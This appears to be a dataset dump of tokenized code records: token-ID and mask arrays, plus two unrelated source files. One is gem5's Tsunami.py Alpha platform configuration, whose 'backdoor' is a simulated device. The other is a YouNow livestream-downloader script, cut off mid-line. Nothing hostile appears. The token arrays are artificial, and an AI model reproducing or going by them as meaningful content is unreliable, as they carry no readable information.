[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 1200, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 22072, 63, 528, 311, 199, 11036, 63, 9970, 63, 7677, 26, 22072, 199, 1023, 63, 3270, 26, 298, 18, 14, 18, 2, 199, 3612, 63, 1802, 26, 21612, 473, 39, 1658, 2288, 2897, 14, 199, 1802, 26, 272, 446, 21612, 473, 39, 1658, 2288, 2897, 2897, 2202, 14, 199, 2502, 26, 272, 446, 1603, 2660, 662, 2264, 1237, 8593, 6532, 2264, 1237, 24, 9, 272, 446, 598, 371, 322, 8081, 22261, 1393, 79, 8593, 2916, 371, 322, 8081, 9, 199, 5983, 26, 272, 446, 30568, 6169, 653, 56, 3100, 86, 1520, 14, 19, 14, 8, 16, 9, 36, 17, 8, 17, 9, 641, 812, 41, 2431, 272, 446, 3979, 445, 8, 929, 29, 885, 395, 1006, 3748, 1862, 911, 506, 5305, 370, 282, 489, 849, 1174, 14, 272, 446, 982, 11004, 365, 663, 370, 2549, 543, 1163, 1862, 663, 12, 314, 11004, 911, 5992, 489, 2061, 12, 284, 14, 69, 14, 2410, 314, 2897, 6181, 4192, 14, 199, 1419, 26, 272, 8976, 63, 13243, 26, 267, 1369, 26, 288, 446, 23169, 15777, 1380, 314, 473, 39, 1658, 2112, 365, 32277, 14, 4885, 849, 12, 1598, 15777, 787, 440, 8976, 379, 14, 267, 730, 26, 2155, 272, 15814, 63, 82, 454, 63, 9241, 26, 267, 1369, 26, 288, 446, 3447, 5921, 503, 28421, 314, 15814, 6197, 10459, 945, 1104, 367, 1598, 473, 39, 1658, 86, 18, 436, 473, 39, 1658, 86, 19, 14593, 14, 267, 730, 26, 2155, 272, 11004, 26, 267, 1369, 26, 288, 446, 799, 17116, 314, 284, 28003, 2112, 334, 4941, 376, 2146, 1101, 1414, 680, 267, 730, 26, 2155, 272, 1174, 26, 267, 1369, 26, 288, 446, 21612, 6387, 1174, 402, 314, 2073, 14, 267, 849, 26, 3451, 267, 3415, 26, 788, 1881, 297, 283, 885, 418, 199, 2344, 199, 8918, 275, 1449, 199, 13, 536, 26, 3758, 284, 28003, 2288, 1862, 334, 452, 1862, 871, 11004, 9, 523, 22072, 63, 528, 311, 26, 272, 1174, 26, 849, 199, 199, 13, 536, 26, 7523, 314, 2569, 284, 28003, 2288, 1101, 3495, 641, 314, 2243, 523, 22072, 63, 528, 311, 26, 272, 8976, 63, 13243, 26, 2549, 272, 15814, 63, 82, 454, 63, 9241, 26, 2549, 199, 199, 13, 536, 26, 799, 928, 314, 284, 28003, 2112, 523, 22072, 63, 528, 311, 26, 272, 11004, 26, 2549, 199, 2344, 199, 199, 9677, 275, 1449, 199, 7618, 26, 272, 1369, 26, 3718, 4847, 370, 314, 2243, 272, 2138, 26, 3544, 272, 730, 26, 769, 272, 2690, 26, 2097, 711, 284, 28003, 8976, 13, 13243, 937, 199, 2344, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 17982, 14, 17982, 492, 2248, 63, 888, 12, 1255, 63, 4405, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 17982, 14, 17982, 492, 22072, 63, 2094, 63, 1650, 12, 1104, 63, 589, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 421, 199, 318, 664, 63, 1818, 8, 578, 304, 272, 1072, 275, 1255, 63, 4405, 8, 578, 12, 791, 1531, 356, 283, 2384, 3879, 13, 888, 297, 283, 1199, 356, 283, 505, 3071, 272, 372, 469, 267, 283, 4939, 63, 13243, 356, 283, 711, 284, 28003, 8976, 13, 13243, 7, 315, 1072, 59, 16, 467, 267, 283, 19817, 63, 82, 454, 63, 9241, 356, 283, 711, 284, 28003, 15814, 13, 4995, 13, 9241, 7, 315, 1072, 59, 16, 61, 272, 789, 421, 199, 318, 664, 63, 16035, 8, 578, 304, 272, 372, 469, 267, 283, 4939, 63, 13243, 356, 859, 14, 1162, 459, 4939, 63, 13243, 995, 267, 283, 19817, 63, 82, 454, 63, 9241, 356, 859, 14, 1162, 459, 19817, 63, 82, 454, 63, 9241, 418, 272, 789, 421, 199, 318, 2446, 837, 272, 1423, 63, 1650, 275, 1211, 8, 267, 8976, 63, 13243, 29, 807, 8, 466, 534, 2245, 659, 267, 15814, 63, 82, 454, 63, 9241, 29, 807, 8, 466, 534, 2245, 659, 267, 11004, 29, 807, 8, 466, 534, 2245, 297, 849, 29, 797, 395, 267, 1174, 29, 807, 8, 4577, 2968, 1881, 297, 283, 885, 995, 849, 534, 1881, 358, 272, 776, 339, 1423, 63, 1650, 14, 873, 8, 17982, 63, 2094, 63, 1650, 9, 339, 859, 275, 6953, 8, 2094, 63, 1650, 29, 2094, 63, 1650, 12, 2574, 5171, 63, 1074, 63, 632, 29, 549, 9, 339, 3598, 275, 769, 342, 272, 1104, 63, 589, 8, 578, 12, 3598, 9, 339, 1453, 275, 664, 63, 1818, 8, 578, 9, 272, 6387, 275, 664, 63, 16035, 8, 578, 9, 339, 1174, 275, 859, 14, 1162, 459, 929, 418, 272, 11004, 275, 859, 14, 1162, 459, 10506, 418, 339, 3718, 275, 769, 342, 339, 340, 1174, 508, 283, 885, 356, 267, 340, 1453, 459, 4939, 63, 13243, 2565, 288, 3718, 14, 740, 360, 889, 3384, 284, 28003, 8976, 13, 13243, 358, 267, 340, 1453, 459, 19817, 63, 82, 454, 63, 9241, 2565, 288, 3718, 14, 740, 360, 889, 3384, 284, 28003, 15814, 13, 4995, 13, 9241, 358, 339, 916, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
aclifton/cpeg853-gem5
src/dev/alpha/Tsunami.py
23
5474
# Copyright (c) 2005-2007 The Regents of The University of Michigan # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer; # redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution; # neither the name of the copyright holders nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # Authors: Nathan Binkert from m5.params import * from m5.proxy import * from BadDevice import BadDevice from AlphaBackdoor import AlphaBackdoor from Device import BasicPioDevice, IsaFake, BadAddr from PciHost import GenericPciHost from Platform import Platform from Uart import Uart8250 class TsunamiCChip(BasicPioDevice): type = 'TsunamiCChip' cxx_header = "dev/alpha/tsunami_cchip.hh" tsunami = Param.Tsunami(Parent.any, "Tsunami") class TsunamiIO(BasicPioDevice): type = 'TsunamiIO' cxx_header = "dev/alpha/tsunami_io.hh" time = Param.Time('01/01/2009', "System time to use ('Now' for actual time)") year_is_bcd = Param.Bool(False, "The RTC should interpret the year as a BCD value") tsunami = Param.Tsunami(Parent.any, "Tsunami") frequency = Param.Frequency('1024Hz', "frequency of interrupts") class TsunamiPChip(GenericPciHost): type = 'TsunamiPChip' cxx_header = "dev/alpha/tsunami_pchip.hh" conf_base = 0x801fe000000 conf_size = "16MB" pci_pio_base = 0x801fc000000 pci_mem_base = 0x80000000000 pio_addr = Param.Addr("Device Address") pio_latency = Param.Latency('100ns', "Programmed IO latency") tsunami = Param.Tsunami(Parent.any, "Tsunami") class Tsunami(Platform): type = 'Tsunami' cxx_header = "dev/alpha/tsunami.hh" system = Param.System(Parent.any, "system") cchip = TsunamiCChip(pio_addr=0x801a0000000) pchip = TsunamiPChip(pio_addr=0x80180000000) fake_sm_chip = IsaFake(pio_addr=0x801fc000370) fake_uart1 = IsaFake(pio_addr=0x801fc0002f8) fake_uart2 = IsaFake(pio_addr=0x801fc0003e8) fake_uart3 = IsaFake(pio_addr=0x801fc0002e8) fake_uart4 = IsaFake(pio_addr=0x801fc0003f0) fake_ppc = IsaFake(pio_addr=0x801fc0003bb) fake_OROM = IsaFake(pio_addr=0x800000a0000, pio_size=0x60000) fake_pnp_addr = IsaFake(pio_addr=0x801fc000279) fake_pnp_write = IsaFake(pio_addr=0x801fc000a79) fake_pnp_read0 = IsaFake(pio_addr=0x801fc000203) fake_pnp_read1 = IsaFake(pio_addr=0x801fc000243) fake_pnp_read2 = IsaFake(pio_addr=0x801fc000283) fake_pnp_read3 = IsaFake(pio_addr=0x801fc0002c3) fake_pnp_read4 = IsaFake(pio_addr=0x801fc000303) fake_pnp_read5 = IsaFake(pio_addr=0x801fc000343) fake_pnp_read6 = IsaFake(pio_addr=0x801fc000383) fake_pnp_read7 = IsaFake(pio_addr=0x801fc0003c3) fake_ata0 = IsaFake(pio_addr=0x801fc0001f0) fake_ata1 = IsaFake(pio_addr=0x801fc000170) fb = BadDevice(pio_addr=0x801fc0003d0, devicename='FrameBuffer') io = TsunamiIO(pio_addr=0x801fc000000) uart = Uart8250(pio_addr=0x801fc0003f8) backdoor = AlphaBackdoor(pio_addr=0x80200000000, disk=Parent.simple_disk) # Attach I/O devices to specified bus object. Can't do this # earlier, since the bus object itself is typically defined at the # System level. def attachIO(self, bus): self.cchip.pio = bus.master self.pchip.pio = bus.master self.fake_sm_chip.pio = bus.master self.fake_uart1.pio = bus.master self.fake_uart2.pio = bus.master self.fake_uart3.pio = bus.master self.fake_uart4.pio = bus.master self.fake_ppc.pio = bus.master self.fake_OROM.pio = bus.master self.fake_pnp_addr.pio = bus.master self.fake_pnp_write.pio = bus.master self.fake_pnp_read0.pio = bus.master self.fake_pnp_read1.pio = bus.master self.fake_pnp_read2.pio = bus.master self.fake_pnp_read3.pio = bus.master self.fake_pnp_read4.pio = bus.master self.fake_pnp_read5.pio = bus.master self.fake_pnp_read6.pio = bus.master self.fake_pnp_read7.pio = bus.master self.fake_ata0.pio = bus.master self.fake_ata1.pio = bus.master self.fb.pio = bus.master self.io.pio = bus.master self.uart.pio = bus.master self.backdoor.pio = bus.master
bsd-3-clause
[ 3, 1898, 334, 67, 9, 11811, 13, 9488, 710, 5044, 24871, 402, 710, 15904, 402, 603, 1158, 528, 290, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 26771, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 27, 199, 3, 26771, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 27, 199, 3, 15564, 314, 536, 402, 314, 4248, 31976, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 199, 3, 6642, 26, 653, 1619, 290, 699, 2292, 15299, 199, 199, 504, 333, 21, 14, 1162, 492, 627, 199, 504, 333, 21, 14, 3280, 492, 627, 199, 504, 8857, 2510, 492, 8857, 2510, 199, 504, 32657, 4540, 20842, 492, 32657, 4540, 20842, 199, 504, 12272, 492, 10082, 48, 2308, 2510, 12, 473, 2231, 8249, 12, 8857, 11404, 199, 504, 510, 559, 4965, 492, 8307, 23246, 4965, 199, 504, 16078, 492, 16078, 199, 504, 738, 580, 492, 738, 580, 24, 7991, 199, 199, 533, 377, 11846, 13496, 35, 1049, 711, 8, 6845, 48, 2308, 2510, 304, 272, 730, 275, 283, 52, 11846, 13496, 35, 1049, 711, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 63, 67, 28329, 14, 12156, 2, 272, 6714, 324, 13496, 275, 12608, 14, 52, 11846, 13496, 8, 6652, 14, 1629, 12, 298, 52, 11846, 13496, 531, 199, 199, 533, 377, 11846, 13496, 2090, 8, 6845, 48, 2308, 2510, 304, 272, 730, 275, 283, 52, 11846, 13496, 2090, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 63, 2308, 14, 12156, 2, 272, 900, 275, 12608, 14, 1366, 360, 614, 15, 614, 15, 8664, 297, 267, 298, 3989, 900, 370, 675, 661, 14351, 7, 367, 3503, 900, 6320, 272, 5361, 63, 374, 63, 26333, 275, 12608, 14, 10349, 8, 797, 12, 267, 298, 1918, 820, 5708, 1077, 15579, 314, 5361, 465, 282, 699, 7695, 574, 531, 272, 6714, 324, 13496, 275, 12608, 14, 52, 11846, 13496, 8, 6652, 14, 1629, 12, 298, 52, 11846, 13496, 531, 272, 9857, 275, 12608, 14, 18285, 360, 7727, 13026, 297, 298, 11132, 402, 1640, 5505, 1086, 531, 199, 199, 533, 377, 11846, 13496, 48, 1049, 711, 8, 9417, 23246, 4965, 304, 272, 730, 275, 283, 52, 11846, 13496, 48, 1049, 711, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 63, 23938, 711, 14, 12156, 2, 339, 3743, 63, 1095, 275, 378, 88, 26172, 771, 3273, 272, 3743, 63, 890, 275, 298, 975, 4567, 2, 339, 19950, 63, 13937, 63, 1095, 275, 378, 88, 26172, 3003, 3273, 272, 19950, 63, 5286, 63, 1095, 275, 378, 88, 24, 20625, 339, 299, 2308, 63, 2697, 275, 12608, 14, 11404, 480, 2510, 9906, 531, 272, 299, 2308, 63, 19645, 275, 12608, 14, 16500, 12501, 360, 1960, 561, 297, 298, 9184, 3594, 5004, 23967, 531, 339, 6714, 324, 13496, 275, 12608, 14, 52, 11846, 13496, 8, 6652, 14, 1629, 12, 298, 52, 11846, 13496, 531, 199, 199, 533, 377, 11846, 13496, 8, 10397, 304, 272, 730, 275, 283, 52, 11846, 13496, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 14, 12156, 2, 272, 2656, 275, 12608, 14, 3989, 8, 6652, 14, 1629, 12, 298, 2253, 531, 339, 286, 28329, 275, 377, 11846, 13496, 35, 1049, 711, 8, 13937, 63, 2697, 29, 16, 88, 26172, 65, 9084, 9, 272, 27204, 711, 275, 377, 11846, 13496, 48, 1049, 711, 8, 13937, 63, 2697, 29, 16, 88, 24, 12549, 9084, 9, 272, 4026, 63, 3300, 63, 28329, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 1493, 13812, 9, 339, 4026, 63, 85, 580, 17, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 9425, 70, 24, 9, 272, 4026, 63, 85, 580, 18, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 16861, 69, 24, 9, 272, 4026, 63, 85, 580, 19, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 9425, 69, 24, 9, 272, 4026, 63, 85, 580, 20, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 16861, 70, 16, 9, 339, 4026, 63, 20638, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 16861, 2501, 9, 339, 4026, 63, 726, 7474, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 24, 5345, 65, 993, 12, 299, 2308, 63, 890, 29, 16, 88, 22, 993, 9, 339, 4026, 63, 80, 1590, 63, 2697, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 9425, 1965, 9, 272, 4026, 63, 80, 1590, 63, 952, 275, 473 ]
[ 1898, 334, 67, 9, 11811, 13, 9488, 710, 5044, 24871, 402, 710, 15904, 402, 603, 1158, 528, 290, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 26771, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 27, 199, 3, 26771, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 27, 199, 3, 15564, 314, 536, 402, 314, 4248, 31976, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 199, 3, 6642, 26, 653, 1619, 290, 699, 2292, 15299, 199, 199, 504, 333, 21, 14, 1162, 492, 627, 199, 504, 333, 21, 14, 3280, 492, 627, 199, 504, 8857, 2510, 492, 8857, 2510, 199, 504, 32657, 4540, 20842, 492, 32657, 4540, 20842, 199, 504, 12272, 492, 10082, 48, 2308, 2510, 12, 473, 2231, 8249, 12, 8857, 11404, 199, 504, 510, 559, 4965, 492, 8307, 23246, 4965, 199, 504, 16078, 492, 16078, 199, 504, 738, 580, 492, 738, 580, 24, 7991, 199, 199, 533, 377, 11846, 13496, 35, 1049, 711, 8, 6845, 48, 2308, 2510, 304, 272, 730, 275, 283, 52, 11846, 13496, 35, 1049, 711, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 63, 67, 28329, 14, 12156, 2, 272, 6714, 324, 13496, 275, 12608, 14, 52, 11846, 13496, 8, 6652, 14, 1629, 12, 298, 52, 11846, 13496, 531, 199, 199, 533, 377, 11846, 13496, 2090, 8, 6845, 48, 2308, 2510, 304, 272, 730, 275, 283, 52, 11846, 13496, 2090, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 63, 2308, 14, 12156, 2, 272, 900, 275, 12608, 14, 1366, 360, 614, 15, 614, 15, 8664, 297, 267, 298, 3989, 900, 370, 675, 661, 14351, 7, 367, 3503, 900, 6320, 272, 5361, 63, 374, 63, 26333, 275, 12608, 14, 10349, 8, 797, 12, 267, 298, 1918, 820, 5708, 1077, 15579, 314, 5361, 465, 282, 699, 7695, 574, 531, 272, 6714, 324, 13496, 275, 12608, 14, 52, 11846, 13496, 8, 6652, 14, 1629, 12, 298, 52, 11846, 13496, 531, 272, 9857, 275, 12608, 14, 18285, 360, 7727, 13026, 297, 298, 11132, 402, 1640, 5505, 1086, 531, 199, 199, 533, 377, 11846, 13496, 48, 1049, 711, 8, 9417, 23246, 4965, 304, 272, 730, 275, 283, 52, 11846, 13496, 48, 1049, 711, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 63, 23938, 711, 14, 12156, 2, 339, 3743, 63, 1095, 275, 378, 88, 26172, 771, 3273, 272, 3743, 63, 890, 275, 298, 975, 4567, 2, 339, 19950, 63, 13937, 63, 1095, 275, 378, 88, 26172, 3003, 3273, 272, 19950, 63, 5286, 63, 1095, 275, 378, 88, 24, 20625, 339, 299, 2308, 63, 2697, 275, 12608, 14, 11404, 480, 2510, 9906, 531, 272, 299, 2308, 63, 19645, 275, 12608, 14, 16500, 12501, 360, 1960, 561, 297, 298, 9184, 3594, 5004, 23967, 531, 339, 6714, 324, 13496, 275, 12608, 14, 52, 11846, 13496, 8, 6652, 14, 1629, 12, 298, 52, 11846, 13496, 531, 199, 199, 533, 377, 11846, 13496, 8, 10397, 304, 272, 730, 275, 283, 52, 11846, 13496, 7, 272, 17327, 63, 1291, 275, 298, 2374, 15, 4468, 15, 1086, 324, 13496, 14, 12156, 2, 272, 2656, 275, 12608, 14, 3989, 8, 6652, 14, 1629, 12, 298, 2253, 531, 339, 286, 28329, 275, 377, 11846, 13496, 35, 1049, 711, 8, 13937, 63, 2697, 29, 16, 88, 26172, 65, 9084, 9, 272, 27204, 711, 275, 377, 11846, 13496, 48, 1049, 711, 8, 13937, 63, 2697, 29, 16, 88, 24, 12549, 9084, 9, 272, 4026, 63, 3300, 63, 28329, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 1493, 13812, 9, 339, 4026, 63, 85, 580, 17, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 9425, 70, 24, 9, 272, 4026, 63, 85, 580, 18, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 16861, 69, 24, 9, 272, 4026, 63, 85, 580, 19, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 9425, 69, 24, 9, 272, 4026, 63, 85, 580, 20, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 16861, 70, 16, 9, 339, 4026, 63, 20638, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 26172, 3003, 16861, 2501, 9, 339, 4026, 63, 726, 7474, 275, 473, 2231, 8249, 8, 13937, 63, 2697, 29, 16, 88, 24, 5345, 65, 993, 12, 299, 2308, 63, 890, 29, 16, 88, 22, 993, 9, 339, 4026, 63, 80, 1590, 63, 2697, 275, 473, 2231, 8249, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
radipiz/YN-Recorder
ynrecord.py
1
3429
#!/usr/bin/env python3 import argparse import logging import os from lib import yn def main(): args = parse_args() if yn.URLBASE in args.start: # record more proceed_url(args.start) else: proceed_user(args.start, live_yes=args.yes, only_live=args.onlylive) def proceed_user(username, live_yes=False, only_live=False): client = yn.YouNow(username) answer = 'n' if client.is_live(): if not live_yes: answer = input('[LIVE] %s is streaming right now! Start downloading? (y/n): ' % username) if answer.lower() == 'y' or live_yes: if already_downloading(username): logger.error('Alreading downloading livestream. Aborting') return print('Recording Livestream now') live(client, username) return if only_live: print('%s is not live :(' % username) return False start_from = 0 try: while answer.lower() == 'n': broadcasts = client.get_broadcasts(start_from) if broadcasts is None: print('No more Broadcasts') return print('Showing %d broadcasts starting at %d' % (yn.BROADCASTS_PER_PAGE, start_from)) for b in broadcasts: bdata = b['media']['broadcast'] print('\t[%d] %s (%s)' % ( bdata['broadcastId'], client.parse_date(bdata['dateAired']), bdata['broadcastLengthMin'])) answer = input('Streamid, \'n\' for next or blank to exit: ') try: broadcast_id = int(answer) client.download(broadcast_id) except ValueError as e: logging.error('Something went wrong: ', e) pass if answer.lower() == 'n': start_from += yn.BROADCASTS_PER_PAGE except PermissionError: logging.error('Permission Denied! Either YN changed the API or the use somehow hides their broadcasts') def live(client, username): lockfile = 'live-%s.lock' % username open(lockfile, 'w').close() try: client.live() except Exception as e: print(e) pass finally: os.unlink(lockfile) def already_downloading(username): lockfile = 'live-%s.lock' % username return os.path.exists(lockfile) def proceed_url(url): # https://www.younow.com/Drache_Offiziell/73754130/0/FeDInMTj/b/November-1,-2015 parts = url.split('/') username = 